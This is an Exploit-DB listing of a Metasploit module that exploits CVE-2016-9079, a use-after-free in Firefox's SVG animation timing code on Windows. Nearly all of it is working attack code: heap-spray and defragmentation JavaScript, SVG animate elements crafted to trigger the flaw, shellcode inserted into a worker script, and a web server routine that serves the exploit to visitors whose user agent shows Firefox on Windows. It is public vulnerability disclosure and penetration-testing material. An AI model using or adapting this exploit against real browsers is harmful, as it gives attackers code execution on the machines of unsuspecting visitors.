Mozilla Firefox < 50.0.2 - 'nsSMILTimeContainer::NotifyTimeChange()' Remote Code Execution (Metasploit)

EDB-ID:

41151




Platform:

Windows

Date:

2017-01-24


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

  class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer

    def initialize(info={})
      super(update_info(info,
        'Name'           => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
        'Description'    => %q{
          This module exploits an out-of-bounds indexing/use-after-free condition present in
          nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
          on Microsoft Windows.
          },
          'License'        => MSF_LICENSE,
          'Author'         =>
          [
            'Anonymous Gaijin',                                 # Original research/exploit
            'William Webb <william_webb[at]rapid7.com>'         # Metasploit module
          ],
          'Platform'       => 'win',
          'Targets'        =>
          [
            [ 'Mozilla Firefox',
              {
                'Platform' => 'win',
                'Arch'     => ARCH_X86,
              }
            ],
          ],
          'DefaultOptions'  =>
          {
            'EXITFUNC' => "thread",
            'InitialAutoRunScript' => 'migrate -f'
          },
          'References'     =>
          [
            [ 'CVE', '2016-9079' ],
            [ 'Bugzilla', '1321066' ]
          ],
          'Arch'           => ARCH_X86,
          'DisclosureDate' => "Nov 30 2016",
          'DefaultTarget'  => 0
        )
      )
    register_options(
      [
        OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation.  NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
      ], self.class
    )
  end

  def exploit_html(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
    base_uri = "#{get_resource.chomp('/')}"

    # stuff that gets adjusted alot during testing

    defrag_x = %Q~
       for (var i = 0; i < 0x4000; i++)
         heap80[i] = block80.slice(0)
     ~
     defrag_y = %Q~
       for (var i = 0x4401; i < heap80.length; i++)
         heap80[i] = block80.slice(0)
     ~

    js = %Q~
    var worker = new Worker('#{base_uri}/worker.js');
    var svgns = 'http://www.w3.org/2000/svg';
    var heap80 = new Array(0x5000);
    var heap100 = new Array(0x5000);
    var block80 = new ArrayBuffer(0x80);
    var block100 = new ArrayBuffer(0x100);
    var sprayBase = undefined;
    var arrBase = undefined;

    var animateX = undefined;
    var containerA = undefined;

    var milestone_offset = 0x90;

    var $ = function(id) { return document.getElementById(id); }

    var heap = function()
    {
     var u32 = new Uint32Array(block80)

     u32[4] = arrBase - milestone_offset;

     u32[0xa] = arrBase + 0x1000 - milestone_offset;

     u32[0x10] = arrBase + 0x2000 - milestone_offset;

     var x = document.createElementNS(svgns, 'animate')
     var svg = document.createElementNS(svgns, 'svg')

     svg.appendChild(x)
     svg.appendChild(x.cloneNode(true))

     for (var i = 0; i < 0x400; i++)
       {
         var node = svg.cloneNode(true);
         node.setAttribute('id', 'svg' + i)
         document.body.appendChild(node);
       }
       #{defrag_x}

       for (var i = 0; i < 0x400; i++)
         {
           heap80[i + 0x3000] = block80.slice(0)
           $('svg' + i).appendChild(x.cloneNode(true))
         }

         for (var i = 0; i < 0x400; i++)
           {
             $('svg' + i).appendChild(x.cloneNode(true))
             $('svg' + i).appendChild(x.cloneNode(true))
           }

           for (var i = 0; i < heap100.length; i++)
             heap100[i] = block100.slice(0)

             #{defrag_y}

             for (var i = 0x100; i < 0x400; i++)
               $('svg' + i).appendChild(x.cloneNode(true))
             }

             var exploit = function()
             {
               heap();

               animateX.setAttribute('begin', '59s')
               animateX.setAttribute('begin', '58s')
               animateX.setAttribute('begin', '10s')
               animateX.setAttribute('begin', '9s')

               // money shot

               containerA.pauseAnimations();
             }

             worker.onmessage = function(e)
             {
              worker.onmessage = function(e)
              {
               window.setTimeout(function()
               {
                 worker.terminate();
                 document.body.innerHTML = '';
                 document.getElementsByTagName('head')[0].innerHTML = '';
                 document.body.setAttribute('onload', '')
                 document.write('<blink>')
                 }, 1000);
  }

  arrBase = e.data;
  exploit();
  }


  var idGenerator = function()
  {
   return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
  }


  var craftDOM = function()
  {
   containerA = document.createElementNS(svgns, 'svg')
   var containerB = document.createElementNS(svgns, 'svg');

   animateX = document.createElementNS(svgns, 'animate')
   var animateA = document.createElementNS(svgns, 'animate')
   var animateB = document.createElementNS(svgns, 'animate')

   var animateC = document.createElementNS(svgns, 'animate')

   var idX = idGenerator();
   var idA = idGenerator();
   var idB = idGenerator();
   var idC = idGenerator();

   animateX.setAttribute('id', idX);
   animateA.setAttribute('id', idA);
   animateA.setAttribute('end', '50s');
   animateB.setAttribute('id', idB);
   animateB.setAttribute('begin', '60s');
   animateB.setAttribute('end', idC + '.end');
   animateC.setAttribute('id', idC);
   animateC.setAttribute('begin', '10s');
   animateC.setAttribute('end', idA + '.end');

   containerA.appendChild(animateX)
   containerA.appendChild(animateA)
   containerA.appendChild(animateB)

   containerB.appendChild(animateC)

   document.body.appendChild(containerA);
   document.body.appendChild(containerB);
  }
  window.onload = craftDOM;
    ~

    # If you want to change the appearance of the landing page, do it here

    html = %Q~
    <html>
    <head>
    <meta charset="utf-8"/>
    <script>
    #{js}
    </script>
    </head>
    <body>
    </body>
    </html>
    ~

    if datastore['UsePostHTML']
      f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
      c = f.read
      html = html.gsub("<blink>", c)
    else
      html = html.gsub("<blink>", "")
    end
    send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
  end

  def worker_js(cli)
    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    payload = Rex::Text.to_unescape(p, arch)
    wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
    c = wt.read
    c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
    c = c.gsub("NOPSGOHERE", "\u9090")
    send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
  end

  def is_ff_on_windows(user_agent)
    target_hash = fingerprint_user_agent(user_agent)
    if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
      return false
    end
      return true
  end

  def on_request_uri(cli, request)
    print_status("Got request: #{request.uri}")
    print_status("From: #{request.headers['User-Agent']}")
    if (!is_ff_on_windows(request.headers['User-Agent']))
      print_error("Unsupported user agent: #{request.headers['User-Agent']}")
      send_not_found(cli)
      close_client(cli)
      return
    end
    if request.uri =~ /worker\.js/
      print_status("Sending worker thread Javascript ...")
      worker_js(cli)
      return
    end
    if request.uri =~ /index\.html/ or request.uri =~ /\//

      print_status("Sending exploit HTML ...")
      exploit_html(cli)
      close_client(cli)
      return
    end
  end
end